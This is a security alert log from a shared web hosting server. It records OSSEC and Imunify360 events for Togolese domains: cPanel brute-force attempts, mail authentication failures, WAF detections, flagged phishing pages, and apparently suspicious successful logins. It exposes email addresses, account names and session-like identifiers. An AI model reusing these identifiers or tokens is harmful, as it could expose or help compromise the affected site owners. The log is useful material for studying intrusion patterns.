abuser: 179.61.166.190
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:179.61.166.190||TA:179.61.166.190||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.59
country_id: 690791
description:
2026-06-15 22:38:11 H=([77.83.39.59]) [77.83.39.59]:53899 F=<qr11@lifecf.org> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.43.162.228
country_id: 1814991
description:
Jun 15 22:41:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.43.162.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.43.162.228
country_id: 1814991
description:
2026-06-15 22:41:54 dovecot_login authenticator failed for H=(253.pool90-160-113.dynamic.orange.es) [175.43.162.228]:59770: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.38.56.30
country_id: 2017370
description:
[2026-06-15 22:42:35 +0000] info [cpaneld] 92.38.56.30 - togoathletism "GET /login/?login_only=1&user=togoathletism&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletism (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.35.144.5
country_id: 3996063
description:
[2026-06-15 22:42:43 +0000] info [cpaneld] 38.35.144.5 - togoathlet "GET /login/?login_only=1&user=togoathlet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathlet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.165.60.34
country_id: 2017370
description:
[2026-06-15 22:42:51 +0000] info [cpaneld] 5.165.60.34 - togoath "GET /login/?login_only=1&user=togoath&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoath (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.43.162.228
country_id: 1814991
description:
Jun 15 22:42:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.43.162.228 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.48.216.106
country_id: 1605651
description:
[2026-06-15 22:42:33 +0000] info [cpaneld] 49.48.216.106 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.15.160
country_id: 3625428
description:
[2026-06-15 22:42:54 +0000] info [cpaneld] 190.6.15.160 - togoat "GET /login/?login_only=1&user=togoat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoat (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.43.162.228
country_id: 1814991
description:
2026-06-15 22:42:57 dovecot_login authenticator failed for H=([107.181.161.85]) [175.43.162.228]:34371: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.227.183.157
country_id: 3865483
description:
[2026-06-15 22:42:59 +0000] info [cpaneld] 190.227.183.157 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.74.69.165
country_id: 290557
description:
[2026-06-15 22:42:22 +0000] info [cpaneld] 91.74.69.165 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.216
country_id: 2635167
description:
[2026-06-15 22:43:52 +0000] info [cpaneld] 5.230.133.216 NEW ifxmoxbf:biDrsWgWUc1vLmP7 address=5.230.133.216,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-15 22:43:36 +0000] info [cpaneld] 5.230.133.146 NEW wcnyaruu:kXfHfl5w0NWYgiSW address=5.230.133.146,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.90
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.986997965767545.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.135.189.29
country_id: 660013
domain: www.lasnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg/uploads/images/121.jpg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.177.86.18
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-44.181.177.86.18||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.143
country_id: 1880251
description:
47.128.96.143 - - [15/Jun/2026:22:45:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803668&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcanal-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781563512 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/canal-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.143


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.252.238.2
country_id: 2186224
description:
[2026-06-15 22:46:26 +0000] info [cpaneld] 27.252.238.2 - istm "GET /login/?login_only=1&user=istm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user istm (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.83.114.68
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/121.0.6167.85 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.198.100.252
country_id: 1814991
description:
2026-06-15 22:48:55 dovecot_login authenticator failed for H=(A4xTKgKsn) [223.198.100.252]:51818: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.87
country_id: 3077311
description:
Jun 15 22:49:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.110.164
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-49.163.198.110.164||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.198.100.252
country_id: 1814991
description:
2026-06-15 22:50:03 dovecot_login authenticator failed for H=(pE4tudA) [223.198.100.252]:52039: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 163.198.110.164
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-50.163.198.110.164||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.3.164.243
country_id: 1880251
description:
[2026-06-15 22:52:05 +0000] info [whostmgrd] 103.3.164.243 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.3.164.243
country_id: 1880251
description:
[2026-06-15 22:52:07 +0000] info [whostmgrd] 103.3.164.243 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.223
country_id: 3469034
description:
Jun 15 22:53:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-15 22:55:10 +0000] info [cpaneld] 64.44.59.157 NEW wcnyaruu:qyDkLVUN8fLodG2q address=64.44.59.157,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.108.96
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:163.198.108.96||TA:163.198.108.96||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 15 23:05:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.37.175.211
country_id: 285570
description:
[2026-06-15 23:05:50 +0000] info [cpaneld] 37.37.175.211 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.241.44
country_id: 3658394
description:
[2026-06-15 23:05:53 +0000] info [cpaneld] 201.182.241.44 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.119.93.182
country_id: 1562822
description:
[2026-06-15 23:06:08 +0000] info [cpaneld] 42.119.93.182 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.71.243.132
country_id: 2017370
description:
[2026-06-15 23:05:51 +0000] info [cpaneld] 178.71.243.132 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.50.22.244
country_id: 290557
description:
[2026-06-15 23:05:56 +0000] info [cpaneld] 2.50.22.244 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.99.75.26
country_id: 3469034
description:
[2026-06-15 23:05:57 +0000] info [cpaneld] 138.99.75.26 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.190.60.86
country_id: 337996
description:
[2026-06-15 23:06:05 +0000] info [cpaneld] 196.190.60.86 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.215.234.242
country_id: 6252001
description:
[2026-06-15 23:06:18 +0000] info [cpaneld] 97.215.234.242 - maf "GET /login/?login_only=1&user=maf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 83.226.162.170
country_id: 2661886
description:
[2026-06-15 23:05:49 +0000] info [cpaneld] 83.226.162.170 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.82.238.79
country_id: 3625428
description:
[2026-06-15 23:06:00 +0000] info [cpaneld] 200.82.238.79 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.61.247.148
country_id: 3686110
description:
[2026-06-15 23:06:05 +0000] info [cpaneld] 181.61.247.148 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.126.88
country_id: 294640
description:
2026-06-15 23:05:25 dovecot_login authenticator failed for H=(169.47.246.220.static.netvigator.com) [2.55.126.88]:57845: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.154
country_id: 6252001
description:
2026-06-15 23:05:46 dovecot_login authenticator failed for H=(inger.tg) [104.28.152.154]:39316: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.233.243.152
country_id: 3686110
description:
[2026-06-15 23:06:16 +0000] info [cpaneld] 201.233.243.152 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.23.28.74
country_id: 3865483
description:
[2026-06-15 23:06:16 +0000] info [cpaneld] 186.23.28.74 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.126.88
country_id: 294640
description:
Jun 15 23:05:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.126.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.205.109.104
country_id: 2921044
description:
[2026-06-15 23:06:10 +0000] info [cpaneld] 93.205.109.104 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.229.89.49
country_id: 3469034
description:
[2026-06-15 23:06:10 +0000] info [cpaneld] 45.229.89.49 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.35.254
country_id: 3895114
description:
[2026-06-15 23:06:21 +0000] info [cpaneld] 190.114.35.254 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 109.248.138.109
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:adm997106960280||Email:gavinovsyanov88033@stelisimo.ru||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.138.109
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:23-08.109.248.138.109||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.97.52.150
country_id: 2589581
description:
[2026-06-15 23:10:04 +0000] info [cpaneld] 41.97.52.150 - direc "GET /login/?login_only=1&user=direc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.157.148.207
country_id: 2017370
description:
[2026-06-15 23:10:14 +0000] info [cpaneld] 178.157.148.207 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.64.111.196
country_id: 2542007
description:
[2026-06-15 23:09:59 +0000] info [cpaneld] 196.64.111.196 - direct7tg "GET /login/?login_only=1&user=direct7tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct7tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-15 23:09:46 +0000] info [cpaneld] 51.83.5.75 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.125.4.144
country_id: 1327865
description:
[2026-06-15 23:09:52 +0000] info [cpaneld] 45.125.4.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.44.194
country_id: 3895114
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.239.44.194||TA:104.239.44.194||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.16
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.252.196.16||TA:104.252.196.16||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.82.102.118
country_id: 3686110
description:
[2026-06-15 23:10:02 +0000] info [cpaneld] 186.82.102.118 - direct "GET /login/?login_only=1&user=direct&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user direct (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.120.32.113
country_id: 3469034
description:
[2026-06-15 23:10:11 +0000] info [cpaneld] 187.120.32.113 - dir "GET /login/?login_only=1&user=dir&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dir (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.243
country_id: 2635167
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:107.181.154.243||TA:107.181.154.243||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.243.242.210
country_id: 3625428
description:
2026-06-15 23:12:07 dovecot_plain authenticator failed for H=(x6ugt2im3dkzupj982em7un46) [201.243.242.210]:35503: 535 Incorrect authentication data (set_id=netflix@emt.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.251
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.80.251||TA:216.173.80.251||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-15 23:16:10 +0000] info [cpaneld] 5.230.153.242 NEW ifxmoxbf:nwdt18uhPwvGahqV address=5.230.153.242,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.241.194
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:104.245.241.194||TA:104.245.241.194||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.169
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.167556296387824.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-15 23:16:25 +0000] info [cpaneld] 5.230.133.44 NEW wcnyaruu:yTcHcEwUPldfBbcK address=5.230.133.44,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-15 23:16:35 +0000] info [cpaneld] 5.230.153.46 NEW wcnyaruu:zZzVdwu0cAjdN1PU address=5.230.153.46,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-15 23:18:01 +0000] info [webmaild] 102.64.171.58 - e.senahounvo@davakconsulting.com "GET /cpsess7517953824/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.118.182.84
country_id: 3625428
description:
[2026-06-15 23:18:18 +0000] info [cpaneld] 92.118.182.84 - educplusmediatg "GET /login/?login_only=1&user=educplusmediatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmediatg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.199
country_id: 3865483
description:
Jun 15 23:17:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.199 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.53.192.212
country_id: 3686110
description:
[2026-06-15 23:18:14 +0000] info [cpaneld] 181.53.192.212 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.120.48
country_id: 3895114
description:
[2026-06-15 23:18:11 +0000] info [cpaneld] 45.181.120.48 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.106.39
country_id: 3686110
description:
[2026-06-15 23:18:16 +0000] info [cpaneld] 186.29.106.39 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.223.249
country_id: 3469034
description:
Jun 15 23:18:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.223.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.223.249
country_id: 3469034
description:
Jun 15 23:18:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.223.249 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.125.161.20
country_id: 2017370
description:
[2026-06-15 23:18:31 +0000] info [cpaneld] 176.125.161.20 - educplus "GET /login/?login_only=1&user=educplus&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.122.234.250
country_id: 3469034
description:
[2026-06-15 23:18:46 +0000] info [cpaneld] 138.122.234.250 - educp "GET /login/?login_only=1&user=educp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.196.173.163
country_id: 2017370
description:
[2026-06-15 23:18:48 +0000] info [cpaneld] 109.196.173.163 - ed "GET /login/?login_only=1&user=ed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.114.105.199
country_id: 3996063
description:
[2026-06-15 23:18:48 +0000] info [cpaneld] 201.114.105.199 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.111.127.85
country_id: 3865483
description:
[2026-06-15 23:18:24 +0000] info [cpaneld] 190.111.127.85 - educplusmed "GET /login/?login_only=1&user=educplusmed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.28.210.12
country_id: 3686110
description:
[2026-06-15 23:18:26 +0000] info [cpaneld] 216.28.210.12 - educplusme "GET /login/?login_only=1&user=educplusme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.167.192.166
country_id: 3469034
description:
[2026-06-15 23:18:29 +0000] info [cpaneld] 179.167.192.166 - educplusm "GET /login/?login_only=1&user=educplusm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.12.45.57
country_id: 3469034
description:
[2026-06-15 23:18:43 +0000] info [cpaneld] 189.12.45.57 - educpl "GET /login/?login_only=1&user=educpl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educpl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.77.206.189
country_id: 2542007
description:
[2026-06-15 23:18:56 +0000] info [cpaneld] 105.77.206.189 - ed "GET /login/?login_only=1&user=ed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.45.135.60
country_id: 3865483
description:
[2026-06-15 23:18:42 +0000] info [cpaneld] 181.45.135.60 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.149.22
country_id: 3996063
description:
[2026-06-15 23:18:26 +0000] info [cpaneld] 45.189.149.22 - educplusme "GET /login/?login_only=1&user=educplusme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusme (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
